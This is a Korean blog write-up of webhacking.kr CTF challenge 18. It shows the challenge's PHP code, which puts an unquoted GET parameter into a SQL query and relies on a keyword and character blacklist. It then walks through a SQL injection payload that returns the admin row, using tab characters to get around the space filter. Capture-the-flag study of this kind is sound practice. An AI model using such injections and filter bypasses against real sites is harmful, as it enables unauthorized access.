본문 바로가기
CTF/webhacking.kr

[CTF] webhacking.kr 18번 Write-Up

by spareone 2022. 10. 14.

webhacking.kr 18번 문제풀이 Write Up 입니다.

[그림 1] Level 18 페이지

대놓고 SQL Injection을 하라고 합니다.

[그림 2] Level 18 소스코드

소스코드를 살펴보면, SQL문이 하나 보입니다.

<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

SQL문의 결과가 admin이 나오면 되는 것 같습니다.

 

해당 SQL문 입니다.

select id from chall18 where id='guest' and no=$_GET[no]

이 SQL문이 admin이 검색되도록 하면 됩니다.

이미 해당 SQL문에는 guest 검색하는 부분이 있으므로, no 부분을 틀리게 적고 id 검색 구문을 추가해 보겠습니다.

select id from chall18 where id='guest' and no='' or id='admin' and no=2

이렇게 작성하면 guest 부분은 no가 잘못돼서 검색되지 않으므로 admin이 나오게 될 것입니다.

 

어짜피 우선순위는 and가 높기 때문에, 실질적으로는

select id from chall18 where (id='guest' and no='') or (id='admin' and no=2)

이렇게 연산이 되는 셈입니다.

 

다만 공백이 filtering 되고 있기 때문에 공백을 tab 문자로 바꾸어야 합니다.

[그림 3] SQL Injection 구문 입력

tab 문자로 바꾸고 입력합니다.

[그림 4, 5] 문제 해결 완료 메시지

입력하면 문제가 정답처리 됩니다.

'CTF > webhacking.kr' 카테고리의 다른 글

[CTF] webhacking.kr 20번 Write-Up  (0) 2022.10.15
[CTF] webhacking.kr 19번 Write-Up  (0) 2022.10.15
[CTF] webhacking.kr 17번 Write-Up  (0) 2022.10.14
[CTF] webhacking.kr 16번 Write-Up  (0) 2022.10.14
[CTF] webhacking.kr 15번 Write-Up  (0) 2022.10.14

댓글